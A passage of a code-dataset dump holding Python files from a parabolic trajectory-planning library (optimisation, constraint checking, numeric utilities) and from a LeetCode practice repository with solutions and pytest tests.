plt.hold(True)\n\n lines = []\n for curve in self.curves:\n lines.append(curve.PlotAcc(fignum=fignum, **kwargs))\n\n handles = ['joint {0}'.format(i + 1) for i in xrange(self.ndof)]\n plt.legend(lines, handles)\n plt.show(False)\n\n \n" }, { "alpha_fraction": 0.8018018007278442, "alphanum_fraction": 0.8018018007278442, "avg_line_length": 14.857142448425293, "blob_id": "12687ad6eeadd695dafe916c735d5e719d74d72a", "content_id": "386f5b4e1c3918c636a8734a50e8baf643101f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 111, "license_type": "no_license", "max_line_length": 23, "num_lines": 7, "path": "/parabint/__init__.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "import trajectory\nimport interpolator\nimport checker\ntry:\n import optimization\nexcept ImportError:\n pass\n" }, { "alpha_fraction": 0.36657458543777466, "alphanum_fraction": 0.4252762496471405, "avg_line_length": 32.9906120300293, "blob_id": "eb1b2fd6d9c703e7d9da7a3062332ed77c6d620a", "content_id": "cfb4e6d9ac3256585097b7a63a22537a3cea59f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7240, "license_type": "no_license", "max_line_length": 98, "num_lines": 213, "path": "/parabint/optimization.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pyipopt\nimport random\nrng = random.SystemRandom()\nfrom .utilities import epsilon\n\npyipopt.set_loglevel(0)\ninf = pyipopt.NLP_UPPER_BOUND_INF\n\ndef SolveTwoRampTrajectory(d, v0, v1, vm, am, delta, max_iter=5000, tol=epsilon, print_level=0):\n \"\"\"Given the boundary conditions for the trajectory, find a fastest\n two-ramp trajectory satisfying velocity, acceleration, and the\n minimum-switch-time constraint.\n\n Optimization variable: x = [t0, t1, vp]\n\n Inequality constarints:\n\n -am <= (vp - v0)/t0 <= am ---(1)\n -am <= (v1 - vp)/t1 <= am ---(2)\n\n Equality constraint:\n\n d = 0.5*(v0 + vp)*t0 + 0.5*(v1 + vp)*t1 ---(3)\n\n \"\"\"\n nvar = 3\n ncon = 3\n nnzj = 9\n nnzh = 6\n\n # Bounds on the variables\n xl = np.array([delta, delta, vm])\n xu = np.array([INF, INF, vm])\n x0 = [2*rng.random() -1 for _ in xrange(nvar)] # randomly select an initial guess\n\n # Bounds on the constraints\n gl = np.array([-am, -am, d])\n gu = np.array([am, am, d])\n\n # Objective function f(x)\n def eval_f(x, user_data=None):\n return x[0] + x[1]\n\n # Gradient of f(x)\n def eval_grad_f(x, user_data=None):\n return np.array([1., 1., 0.])\n\n # Constraint function g(x)\n def eval_g(x, user_data=None):\n return np.array([(x[2] - v0)/x[0],\n (v1 - x[2])/x[0],\n 0.5*(v0 + x[2])*x[0] + 0.5*(v1 + x[2])*x[1]])\n\n # Jacobian of g(x)\n def eval_jacobian_g(x, flag, user_data=None):\n if flag:\n # Return the position of each number in Jacobian\n return (np.array([0, 0, 0, 1, 1, 1, 2, 2, 2]),\n np.array([0, 1, 2, 0, 1, 2, 0, 1, 2]))\n else:\n return np.array([-(x[2] - v0)/(x[0]**2),\n 0.0,\n 1.0/x[0],\n 0.0,\n -(v1 - x[2])/(x[1]**2),\n -1.0/x[1],\n 0.5*(v0 + x[2]),\n 0.5*(v1 + x[2]),\n 0.5*(x[0] + x[1])])\n\n # Hessian of f(x)\n def eval_h(x, lagrange, obj_factor, flag, user_data=None):\n if flag:\n return (np.array([0, 0, 1, 0, 1, 2]),\n np.array([0, 1, 1, 2, 2, 2]))\n else:\n values = np.zeros(nnzh)\n \n values[0] += lagrange[0]*(2*(x[2] - v0)/(x[0]**3))\n values[3] += lagrange[0]*(-1/(x[0]**2))\n \n values[2] += lagrange[1]*(2*(v1 - x[2])/(x[1]**3))\n values[4] += lagrange[1]*(1/(x[1]**2))\n \n values[3] += lagrange[2]*0.5\n values[4] += lagrange[2]*0.5\n\n return values\n\n # Initialize a non-linear program\n nlp = pyipopt.create(nvar, xl, xu, ncon, gl, gu, nnzj, nnzh, \n eval_f, eval_grad_f, eval_g, eval_jacobian_g, eval_h)\n nlp.int_option('max_iter', max_iter)\n nlp.num_option('tol', tol)\n nlp.int_option('print_level', print_level) \n\n x, zl, zu, constraint_multipliers, obj, status = nlp.solve(x0)\n nlp.close()\n \n return x, status\n\n\ndef SolveThreeRampTrajectory(d, v0, v1, vm, am, delta, max_iter=5000, tol=epsilon, print_level=0):\n \"\"\"\n Given the boundary conditions for the trajectory, find a fastest\n two-ramp trajectory satisfying velocity, acceleration, and the\n minimum-switch-time constraint.\n\n Optimization variable: x = [t0, t1, t2, vp0, vp1]\n\n Inequality constarints:\n\n -am <= (vp - v0)/t0 <= am ---(1)\n -am <= (vp1 - vp0)/t1 <= am ---(2)\n -am <= (v1 - vp1)/t2 <= am ---(3)\n\n Equality constraint:\n\n d = 0.5*(v0 + vp0)*t0 + 0.5*(vp0 + vp1)*t1 + 0.5*(vp1 + v1)*t2 ---(4)\n \"\"\"\n nvar = 5\n ncon = 4\n nnzj = 20\n nnzh = 15\n\n # Bounds on the variables\n xl = np.array([delta, delta, delta, -vm, -vm])\n xu = np.array([INF, INF, INF, vm, vm])\n x0 = [2*rng.random() -1 for _ in xrange(nvar)] # randomly select an initial guess\n\n # Bounds on the constraints\n gl = np.array([-am, -am, -am, d])\n gu = np.array([am, am, am, d])\n\n # Objective function f(x)\n def eval_f(x, user_data=None):\n return x[0] + x[1] + x[2]\n\n # Gradient of f(x)\n def eval_grad_f(x, user_data=None):\n return np.array([1., 1., 1., 0., 0.])\n\n # Constraint function g(x)\n def eval_g(x, user_data=None):\n return np.array([(x[3] - v0)/x[0],\n (x[4] - x[3])/x[1],\n (v1 - x[4])/x[2],\n 0.5*(v0 + x[3])*x[0] + 0.5*(x[3] + x[4])*x[1] + 0.5*(x[4] + v1)*x[2]])\n\n # Jacobian of g(x)\n def eval_jacobian_g(x, flag, user_data=None):\n if flag:\n return (np.array([0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3]),\n np.array([0, 1, 2, 3, 4, 0, 1, 2, 3, 4, 0, 1, 2, 3, 4, 0, 1, 2, 3, 4]))\n else:\n return np.array([-(x[3] - v0)/(x[0]**2),\n 0.0,\n 0.0,\n 1.0/x[0],\n 0.0,\n 0.0,\n -(x[4] - x[3])/(x[1]**2),\n 0.0,\n -1.0/x[1],\n 1.0/x[1],\n 0.0,\n 0.0,\n -(v1 - x[4])/(x[2]**2),\n 0.0,\n -1.0/x[2],\n 0.5*(v0 + x[3]),\n 0.5*(x[3] + x[4]),\n 0.5*(x[4] + v1),\n 0.5*(x[0] + x[1]),\n 0.5*(x[1] + x[2])])\n\n # Hessian of f(x)\n def eval_h(x, lagrange, obj_factor, flag, user_data=None):\n if flag:\n return (np.array([0, 0, 1, 0, 1, 2, 0, 1, 2, 3, 0, 1, 2, 3, 4]),\n np.array([0, 1, 1, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4]))\n else:\n values = np.zeros(nnzh)\n\n values[0] += lagrange[0]*(2.0*(x[3] - v0)/(x[0]**3))\n values[6] += lagrange[0]*(-1.0/(x[0]**2))\n \n values[2] += lagrange[1]*(2.0*(x[4] - x[3])/(x[1]**3))\n values[7] += lagrange[1]*(1.0/(x[1]**2))\n values[11] += lagrange[1]*(-1.0/(x[1]**2))\n \n values[5] += lagrange[2]*(2.0*(v1 - x[4])/(x[3]**2))\n values[12] += lagrange[2]*(1.0/(x[2]**2))\n \n values[6] += lagrange[3]*0.5\n values[7] += lagrange[3]*0.5\n values[11] += lagrange[3]*0.5\n values[12] += lagrange[3]*0.5\n \n return values\n\n # Initialize a non-linear program\n nlp = pyipopt.create(nvar, xl, xu, ncon, gl, gu, nnzj, nnzh, \n eval_f, eval_grad_f, eval_g, eval_jacobian_g, eval_h)\n nlp.int_option('max_iter', max_iter)\n nlp.num_option('tol', tol)\n nlp.int_option('print_level', print_level) \n\n x, zl, zu, constraint_multipliers, obj, status = nlp.solve(x0)\n nlp.close()\n \n return x, status\n" }, { "alpha_fraction": 0.5377268195152283, "alphanum_fraction": 0.5742332339286804, "avg_line_length": 35.2423095703125, "blob_id": "e466a0ac4fa1d9f0de7b0990e09817e3138dcd47", "content_id": "78cfadf4f812eb7f2743dcadc6b797967f3b9cc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9423, "license_type": "no_license", "max_line_length": 198, "num_lines": 260, "path": "/parabint/checker.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "from .utilities import epsilon, inf, FuzzyEquals, FuzzyZero\nimport logging\nlogging.basicConfig(format='[%(levelname)s] [%(name)s: %(funcName)s] %(message)s', level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n# PCR: ParabolicCheckReturn\nPCR_Normal = 0\nPCR_NegativeDuration = 1\nPCR_XBoundViolated = 2\nPCR_VBoundViolated = 3\nPCR_ABoundViolated = 4\nPCR_XDiscrepancy = 5\nPCR_VDiscrepancy = 6\nPCR_DurationDiscrepancy = 7\n\n\ndef _GetPeaks(x0, x1, v0, v1, a, t):\n \"\"\"Calculate the maximum and minimum displacement occuring betweeb time 0 and t given (x0, x1, v0,\n v1, a).\n\n Parameters\n ----------\n x0 : float\n Initial displacement of the segment\n x1 : float\n Final displacement of the segment\n v0 : float\n Initial velocity of the segment\n v1 : float\n Final velocity of the segment\n a : float\n Acceleration of the segment\n t : float\n Duration of the segment\n\n Returns\n -------\n bmin : float\n Minimum displacement along this segment\n bmax : float\n Maximum displacement along this segment\n \n \"\"\"\n if FuzzyZero(a, epsilon):\n if v0 > 0:\n bmin = x0\n bmax = x1\n else:\n bmin = x1\n bmax = x0\n return bmin, bmax\n\n if x0 > x1:\n curMin = x1\n curMax = x0\n else:\n curMin = x0\n curMax = x1\n\n tDeflection = -v0/a # the time when velocity crosses zero\n if (tDeflection <= 0) or (tDeflection >= t):\n bmin = curMin\n bmax = curMax\n return bmin, bmax\n\n xDeflection = x0 + 0.5*v0*tDeflection\n bmin = min(curMin, xDeflection)\n bmax = max(curMax, xDeflection)\n return bmin, bmax\n \n\ndef CheckSegment(x0, x1, v0, v1, a, t, xmin, xmax, vm, am):\n \"\"\"\n Check if a linear trajectory segment connecting (x0, v0) and (x1, v1) is valid.\n \n Parameters\n ----------\n x0 : float\n Initial displacement of the segment\n x1 : float\n Final displacement of the segment\n v0 : float\n Initial velocity of the segment\n v1 : float\n Final velocity of the segment\n a : float\n Acceleration of the segment\n t : float\n Duration of the segment\n xmin : float\n Displacement lower limit\n xmax : float\n Displacement upper limit\n vm : float\n Maximum velocity\n am : float\n Maximum acceleration\n\n Returns\n -------\n ret : one of ParabolicCheckReturn\n \n \"\"\"\n if t < -epsilon:\n log.warn(\"PCR_NegativeDuration: duration = {0}\".format(t))\n return PCR_NegativeDuration\n if not FuzzyEquals(v1, v0 + a*t, epsilon):\n v1_ = v0 + a*t\n log.warn(\"PCR_VDiscrepancy: v1 = {0}; computed v1 = {1}; diff = {2}\".format(v1, v1_, (v1 - v1_)))\n log.warn(\"Info: x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; a = {4}; duration = {5}; xmin = {6}; xmax = {7}; vm = {8}; am = {9}\".format(x0, x1, v0, v1, a, t, xmin, xmax, vm, am))\n return PCR_VDiscrepancy\n if not FuzzyEquals(x1, x0 + t*(v0 + 0.5*a*t), epsilon):\n x1_ = x0 + t*(v0 + 0.5*a*t)\n log.warn(\"PCR_XDiscrepancy: x1 = {0}; computed x1 = {1}; diff = {2}\".format(x1, x1_, (x1 - x1_)))\n log.warn(\"Info: x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; a = {4}; duration = {5}; xmin = {6}; xmax = {7}; vm = {8}; am = {9}\".format(x0, x1, v0, v1, a, t, xmin, xmax, vm, am))\n return PCR_XDiscrepancy\n if xmin == inf and xmax == inf:\n return PCR_Normal\n bmin, bmax = _GetPeaks(x0, x1, v0, v1, a, t)\n if (bmin < xmin - epsilon) or (bmax > xmax + epsilon):\n log.warn(\"PCR_XBoundViolated: xmin = {0}; bmin = {1}; diff@min = {2}; xmax = {3}; bmax = {4}; diff@max = {5}\".format(xmin, bmin, (xmin - bmin), xmax, bmax, (bmax - xmax)))\n log.warn(\"Info: x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; a = {4}; duration = {5}; xmin = {6}; xmax = {7}; vm = {8}; am = {9}\".format(x0, x1, v0, v1, a, t, xmin, xmax, vm, am))\n return PCR_XBoundViolated\n if (abs(v0) > vm + epsilon) or (abs(v1) > vm + epsilon):\n log.warn(\"PCR_VBoundViolated: vm = {0}; v0 = {1}; v1 = {2}; diff@v0 = {3}; diff@v1 = {4}\".format(vm, v0, v1, (abs(v0) - vm), (abs(v1) - vm)))\n log.warn(\"Info: x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; a = {4}; duration = {5}; xmin = {6}; xmax = {7}; vm = {8}; am = {9}\".format(x0, x1, v0, v1, a, t, xmin, xmax, vm, am))\n return PCR_VBoundViolated\n if abs(a) > am + epsilon:\n log.warn(\"PCR_ABoundViolated: am = {0}; a = {1}; diff = {2}\".format(am, a, (abs(a) - am)))\n log.warn(\"Info: x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; a = {4}; duration = {5}; xmin = {6}; xmax = {7}; vm = {8}; am = {9}\".format(x0, x1, v0, v1, a, t, xmin, xmax, vm, am))\n return PCR_ABoundViolated\n return PCR_Normal\n\n\ndef CheckRamp(ramp, xmin, xmax, vm, am):\n \"\"\"\n Check if the given ramp is consistent with (xmin, xmax, vm, am).\n \n Parameters\n ----------\n ramp : Ramp\n xmin : float\n Displacement lower limit\n xmax : float\n Displacement upper limit\n vm : float\n Maximum velocity\n am : float\n Maximum acceleration\n\n Returns\n -------\n ret : one of ParabolicCheckReturn\n \n \"\"\"\n return CheckSegment(ramp.x0, ramp.x1, ramp.v0, ramp.v1, ramp.a, ramp.duration, xmin, xmax, vm, am)\n\n\ndef CheckParabolicCurve(curve, xmin, xmax, vm, am, x0, x1, v0, v1):\n \"\"\"\n Check if the given parabolic curve is consistent with (xmin, xmax, vm, am, x0, x1, v0, v1).\n \n Parameters\n ----------\n curve : ParabolicCurve\n xmin : float\n Displacement lower limit\n xmax : float\n Displacement upper limit\n vm : float\n Maximum velocity\n am : float\n Maximum acceleration\n x0 : float\n Initial displacement\n x1 : float\n Final displacement\n v0 : float\n Initial velocity\n v1 : float\n Final velocity\n\n Returns\n -------\n ret : one of ParabolicCheckReturn\n \n \"\"\"\n # Check the first ramp\n if not FuzzyEquals(curve[0].x0, x0, epsilon):\n log.warn(\"PCR_XDiscrepancy: curve[0].x0 = {0}; x0 = {1}; diff = {2}\".format(curve[0].x0, x0, curve[0].x0 - x0))\n return PCR_XDiscrepancy\n if not FuzzyEquals(curve[0].v0, v0, epsilon):\n log.warn(\"PCR_VDiscrepancy: curve[0].v0 = {0}; v0 = {1}; diff = {2}\".format(curve[0].v0, v0, curve[0].v0 - v0))\n return PCR_VDiscrepancy\n ret = CheckRamp(curve[0], xmin, xmax, vm, am)\n if not (ret == PCR_Normal):\n log.warn(\"curve[0] does not pass CheckRamp\")\n return ret\n \n for iramp in xrange(1, len(curve) - 1):\n if not FuzzyEquals(curve[iramp - 1].x1, curve[iramp].x0, epsilon):\n log.warn(\"PCR_XDiscrepancy: curve[{0}].x1 != curve[{1}].x0; {2} != {3}; diff = {4}\".format(iramp - 1, iramp, curve[iramp - 1].x1, curve[iramp].x0, curve[iramp - 1].x1 - curve[iramp].x0))\n return PCR_XDiscrepancy\n if not FuzzyEquals(curve[iramp - 1].v1, curve[iramp].v0, epsilon):\n log.warn(\"PCR_VDiscrepancy: curve[{0}].v1 != curve[{1}].v0; {2} != {3}; diff = {4}\".format(iramp - 1, iramp, curve[iramp - 1].v1, curve[iramp].v0, curve[iramp - 1].v1 - curve[iramp].v0))\n return PCR_VDiscrepancy\n ret = CheckRamp(curve[iramp], xmin, xmax, vm, am)\n if not (ret == PCR_Normal):\n log.warn(\"curve[{0}] does not pass CheckRamp\".format(iramp))\n return ret\n\n # Check the last ramp\n if not FuzzyEquals(curve[-1].x1, x1, epsilon):\n log.warn(\"PCR_XDiscrepancy: curve[{0}].x1 = {1}; x1 = {2}; diff = {3}\".format(len(curve) - 1, curve[-1].x0, x0, curve[-1].x1 - x1))\n return PCR_XDiscrepancy\n if not FuzzyEquals(curve[-1].v1, v1, epsilon):\n log.warn(\"PCR_VDiscrepancy: curve[{0}].v1 = {1}; v1 = {2}; diff = {3}\".format(len(curve) - 1, curve[-1].v0, v0, curve[-1].v1 - v1))\n return PCR_VDiscrepancy\n return PCR_Normal\n \n\ndef CheckParabolicCurvesND(curvesnd, xminVect, xmaxVect, vmVect, amVect, x0Vect, x1Vect, v0Vect, v1Vect):\n \"\"\"\n Check if the given paraboliccurvesnd is consistent with the given constraints.\n \n Parameters\n ----------\n curvesnd : ParabolicCurvesND\n xminVect : numpy.ndarray\n Displacement lower limit\n xmaxVect : numpy.ndarray\n Displacement upper limit\n vmVect : numpy.ndarray\n Maximum velocity\n amVect : numpy.ndarray\n Maximum acceleration\n x0Vect : numpy.ndarray\n Initial displacement\n x1Vect : numpy.ndarray\n Final displacement\n v0Vect : numpy.ndarray\n Initial velocity\n v1Vect : numpy.ndarray\n Final velocity\n\n Returns\n -------\n ret : one of ParabolicCheckReturn\n \n \"\"\"\n duration = curvesnd.duration\n for (icurve, (curve, xmin, xmax, vm, am, x0, x1, v0, v1)) in enumerate(zip(curvesnd, xminVect, xmaxVect, vmVect, amVect, x0Vect, x1Vect, v0Vect, v1Vect)):\n if not FuzzyEquals(curve.duration, duration, epsilon):\n log.warn(\"PCR_DurationDiscrepancy: curvesnd.duration = {0}; curvesnd[{1}].duration = {2}; diff = {3}\".format(duration, icurve, curve.duration, duration - curve.duration))\n return PCR_DurationDiscrepancy\n ret = CheckParabolicCurve(curve, xmin, xmax, vm, am, x0, x1, v0, v1)\n if not (ret == PCR_Normal):\n log.warn(\"curvsend[{0}] does not psas CheckParabolicCurve\".format(icurve))\n return ret\n return PCR_Normal\n" }, { "alpha_fraction": 0.5120373964309692, "alphanum_fraction": 0.5256916880607605, "avg_line_length": 22.584745407104492, "blob_id": "5a393b85f080ac7ed2809b8e9fd2e80d1f830ddb", "content_id": "b1b57a50c636fb3e39fed26e96ef1a86dbac11b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2783, "license_type": "no_license", "max_line_length": 116, "num_lines": 118, "path": "/parabint/utilities.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "import numpy as np\nepsilon = 1e-8\ninf = 1e300\n\n\ndef FuzzyEquals(a, b, epsilon):\n \"\"\"Check if the given two numbers are equal, up to discrepancy of the given epsilon.\n Return True if abs(a - b) <= epsilon.\n\n Parameters\n ----------\n a : float\n b : float\n epsilon : float\n\n \"\"\"\n return abs(a - b) <= epsilon\n\n\ndef FuzzyZero(a, epsilon):\n \"\"\"Check if the given number is zero, up to discrepancy of the given epsilon.\n Return True if abs(a) <= epsilon.\n\n Parameters\n ----------\n a : float\n b : float\n epsilon : float\n\n \"\"\"\n return abs(a) <= epsilon\n\n\ndef SolveLinearInEq(a, b, epsilon, xmin, xmax):\n \"\"\"This functions safely solves for x \\in [xmin, xmax] such that |ax - b| <= epsilon*max(|a|, |b|).\n\n Return [result, x]\n \"\"\"\n if (a < 0):\n return SolveLinearInEq(-a, -b, epsilon, xmin, xmax)\n epsilonScaled = epsilon*max(a, abs(b))\n\n if (xmin == -inf) and (xmax == inf):\n if (a == 0):\n x = 0.0\n result = abs(b) <= epsilonScaled\n return [result, x]\n\n x = b/a\n return [True, x]\n\n axmin = a*xmin\n axmax = a*xmax\n if not (b + epsilonScaled >= axmin and b - epsilonScaled <= axmax):\n # Ranges do not intersect\n return [False, 0.0]\n\n if not (a == 0):\n x = b/a\n if (xmin <= x) and (x <= xmax):\n return [True, x]\n\n if abs(0.5*(axmin + axmax) - b) <= epsilonScaled:\n x = 0.5*(xmin + xmax)\n return [True, x]\n\n if abs(axmax - b) <= epsilonScaled:\n x = xmax\n return [True, x]\n\n x = xmin\n return [True, x]\n\n\ndef SolveBoundedInEq(a, b, l, u):\n \"\"\"Solve inequalities of the form\n l <= ax + b <= u.\n \n The function returns [solved, xl, xu] such that ax + b \\in [l, u] for all x \\in [xl, xu] if solved.\n \"\"\"\n if l > u:\n return [False, inf, -inf]\n\n if FuzzyZero(a, epsilon):\n if (b >= l) and (b <= u):\n return [True, l, u]\n else:\n return [False, inf, -inf]\n\n l -= b\n u -= b\n aInv = 1.0/a\n if a > 0:\n return [True, l*aInv, u*aInv]\n else:\n return [True, u*aInv, l*aInv]\n\n\ndef BrakeTime(x, v, xbound):\n [solved, t] = SolveLinearInEq(v, 2*(xbound - x), epsilon, 0, inf)\n if not solved:\n log.debug(\"Cannot solve for braking time from the equation: {0}*t - {1} = 0\".format(v, 2*(xbound - x)))\n t = 0\n return t\n\n\ndef BrakeAccel(x, v, xbound):\n coeff0 = 2*(xbound - x)\n coeff1 = v*v\n [solved, a] = SolveLinearInEq(coeff0, -coeff1, epsilon, -inf, inf)\n if not solved:\n log.debug(\"Cannot solve for braking acceleration from the equation: {0}*a + {1} = 0\".format(coeff0, coeff1))\n a = 0\n return a\n \n\ndef Swap(a, b):\n return [b, a]\n" } ]
10
c3iox/leetcode
https://github.com/c3iox/leetcode
a67e490b77c5dc71e1a3e5cbbb6b89aa7bfb5a30
fa91193922ff3e34728cac782532cc5fc606a2f6
40a3c54a4fa70c6ae19d560874c0cf61e4041202
refs/heads/main
2023-04-27T09:11:43.407647
2021-05-22T12:43:05
2021-05-22T12:43:05
369,804,850
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6031957268714905, "alphanum_fraction": 0.6085219979286194, "avg_line_length": 20.457143783569336, "blob_id": "1f5a0f7545bc1005e97f349edbfa64099a62656a", "content_id": "251f5a84fb7a6e0dafb56c93a3924b2c79ccaaf7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1021, "license_type": "permissive", "max_line_length": 71, "num_lines": 35, "path": "/easy/max_profit.py", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "from typing import List\n\nimport typer\nfrom loguru import logger\n\n\napp = typer.Typer()\n\n\[email protected]()\ndef max_profit(prices: List[int]) -> int:\n \"\"\"\n ็ป™ๅฎšไธ€ไธชๆ•ฐ็ป„ prices ๏ผŒๅฎƒ็š„็ฌฌย i ไธชๅ…ƒ็ด ย prices[i] ่กจ็คบไธ€ๆ”ฏ็ป™ๅฎš่‚ก็ฅจ็ฌฌ i ๅคฉ็š„ไปทๆ ผใ€‚\n\n ไฝ ๅช่ƒฝ้€‰ๆ‹ฉ ๆŸไธ€ๅคฉ ไนฐๅ…ฅ่ฟ™ๅช่‚ก็ฅจ๏ผŒๅนถ้€‰ๆ‹ฉๅœจ ๆœชๆฅ็š„ๆŸไธ€ไธชไธๅŒ็š„ๆ—ฅๅญ ๅ–ๅ‡บ่ฏฅ่‚ก็ฅจใ€‚่ฎพ่ฎกไธ€ไธช็ฎ—ๆณ•ๆฅ่ฎก็ฎ—ไฝ ๆ‰€่ƒฝ่Žทๅ–็š„ๆœ€ๅคงๅˆฉๆถฆใ€‚\n\n ่ฟ”ๅ›žไฝ ๅฏไปฅไปŽ่ฟ™็ฌ”ไบคๆ˜“ไธญ่Žทๅ–็š„ๆœ€ๅคงๅˆฉๆถฆใ€‚ๅฆ‚ๆžœไฝ ไธ่ƒฝ่Žทๅ–ไปปไฝ•ๅˆฉๆถฆ๏ผŒ่ฟ”ๅ›ž 0 ใ€‚\n\n ๆฅๆบ๏ผšๅŠ›ๆ‰ฃ๏ผˆLeetCode๏ผ‰\n ้“พๆŽฅ๏ผšhttps://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock\n \"\"\"\n # ไป€ไนˆ้ƒฝไธไนฐๅˆ™ๆ˜ฏ0\n ans = 0\n for buy in range(len(prices)):\n for sell in range(buy + 1, len(prices)):\n profit = prices[sell] - prices[buy]\n logger.debug(f\"{sell=},{buy=},{profit=}\")\n ans = max(profit, ans)\n\n logger.debug(f\"{ans=}\")\n return ans\n\n\nif __name__ == \"__main__\":\n app()\n" }, { "alpha_fraction": 0.545945942401886, "alphanum_fraction": 0.6243243217468262, "avg_line_length": 17.5, "blob_id": "429969bf96ed1a776cd17419f722cf80902a8d17", "content_id": "f5bf78cdee27c64de59b650789a61ef8785b011a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 370, "license_type": "permissive", "max_line_length": 41, "num_lines": 20, "path": "/pyproject.toml", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "[tool.poetry]\nname = \"leetcode\"\nversion = \"0.1.0\"\ndescription = \"\"\nauthors = [\"c3io <[email protected]>\"]\n\n[tool.poetry.dependencies]\npython = \"^3.9\"\ntyper = \"^0.3.2\"\nloguru = \"^0.5.3\"\narrow = \"^1.1.0\"\n\n[tool.poetry.dev-dependencies]\npytest = \"^6.2.4\"\nblack = \"^21.5b1\"\nflake8 = \"^3.9.2\"\n\n[build-system]\nrequires = [\"poetry-core>=1.0.0\"]\nbuild-backend = \"poetry.core.masonry.api\"\n" }, { "alpha_fraction": 0.5245097875595093, "alphanum_fraction": 0.5735294222831726, "avg_line_length": 16, "blob_id": "e6c25b4e72832c90a62f123f5b1ca4ea07b7d8df", "content_id": "ff56c7d744841e3c8c82594cbc6188b0dc6f7230", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "permissive", "max_line_length": 52, "num_lines": 24, "path": "/tests/easy/test_max_profit.py", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "from easy.max_profit import max_profit\n\n\ndef test_empty():\n assert max_profit(list()) == 0\n\n\ndef test_one():\n assert max_profit([1]) == 0\n\n\ndef test_accend():\n stock = [1, 2, 3, 4]\n assert max_profit(stock) == stock[-1] - stock[0]\n\n\ndef test_decent():\n stock = [4, 3, 2, 1]\n assert max_profit(stock) == 0\n\n\ndef test_unsorted():\n stock = [4, 3, 2, 4, 5]\n assert max_profit(stock) == 3\n" }, { "alpha_fraction": 0.6662303805351257, "alphanum_fraction": 0.6701570749282837, "avg_line_length": 21.47058868408203, "blob_id": "2f62a4ee1ec9cc4900d0498cf370aeb38c7da2aa", "content_id": "0e40e4995b5359ca663a97b9e2d335bd83c6b89d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 764, "license_type": "permissive", "max_line_length": 75, "num_lines": 34, "path": "/tests/other/test_longest_diff_sub_string.py", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "import pytest\nfrom loguru import logger\n\nfrom other.find_longest_diff_sub_string import find_longest_diff_sub_string\n\n\[email protected](\"not_str\", [None, True, 6, 7.0])\ndef test_bad_class_input(not_str):\n logger.debug(f\"{not_str=}\")\n assert find_longest_diff_sub_string(not_str) == \"\"\n\n\ndef test_empty():\n assert find_longest_diff_sub_string(\"\") == \"\"\n\n\ndef test_whole():\n assert find_longest_diff_sub_string(\"abc\") == \"abc\"\n\n\ndef test_begin():\n assert find_longest_diff_sub_string(\"abcdb\") == \"abcd\"\n\n\ndef test_mid():\n assert find_longest_diff_sub_string(\"abcdaa\") == \"bcda\"\n\n\ndef test_end():\n assert find_longest_diff_sub_string(\"abcdab\") == \"cdab\"\n\n\ndef test_mult():\n assert find_longest_diff_sub_string(\"abcabdabmab\") == \"dabm\"\n" }, { "alpha_fraction": 0.5702160596847534, "alphanum_fraction": 0.5779321193695068, "avg_line_length": 29.85714340209961, "blob_id": "f1a7392fb1e732d43ff190d9c7bb0aecb0f4d4f7", "content_id": "0cedfc086116e5c0418b91d91d4d17bb2da997ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1350, "license_type": "permissive", "max_line_length": 70, "num_lines": 42, "path": "/other/find_longest_diff_sub_string.py", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "import typer\nfrom loguru import logger\n\napp = typer.Typer()\n\n\[email protected]()\ndef find_longest_diff_sub_string(content: str) -> str:\n \"\"\"ๅคšไธช็›ธๅŒ็š„ๆœ€้•ฟ ไฟ็•™ๆœ€ๅŽไธ€ไธช\"\"\"\n if not isinstance(content, str):\n return \"\"\n\n longest_start, longest_end = 0, 0\n current_start, current_end = 0, 0\n\n for current_start, start_value in enumerate(content):\n logger.debug(f\"{current_start=},{start_value=}\")\n current_end_start = current_start + 1\n for current_end, end_value in enumerate(\n content[current_end_start:], current_end_start\n ):\n logger.debug(f\"{current_end=},{end_value=}\")\n # ้ๅŽ†ไปŽstartๅผ€ๅง‹๏ผŒๅˆฐๆœ‰้‡ๅคๅ…ƒ็ด ็ปˆๆญข\n if len(content[current_start : current_end + 1]) > len(\n set(content[current_start : current_end + 1])\n ):\n break\n else:\n current_end += 1\n current_end -= 1\n logger.debug(f\"x -> {current_end=},{current_start=}\")\n if current_end - current_start >= longest_end - longest_start:\n longest_start, longest_end = current_start, current_end\n logger.debug(f\"r -> {longest_end=},{longest_start=}\")\n ret = content[longest_start : longest_end + 1]\n logger.debug(f\"longest:{ret}\")\n\n return ret\n\n\nif __name__ == \"__main__\":\n app()\n" }, { "alpha_fraction": 0.774193525314331, "alphanum_fraction": 0.774193525314331, "avg_line_length": 9.333333015441895, "blob_id": 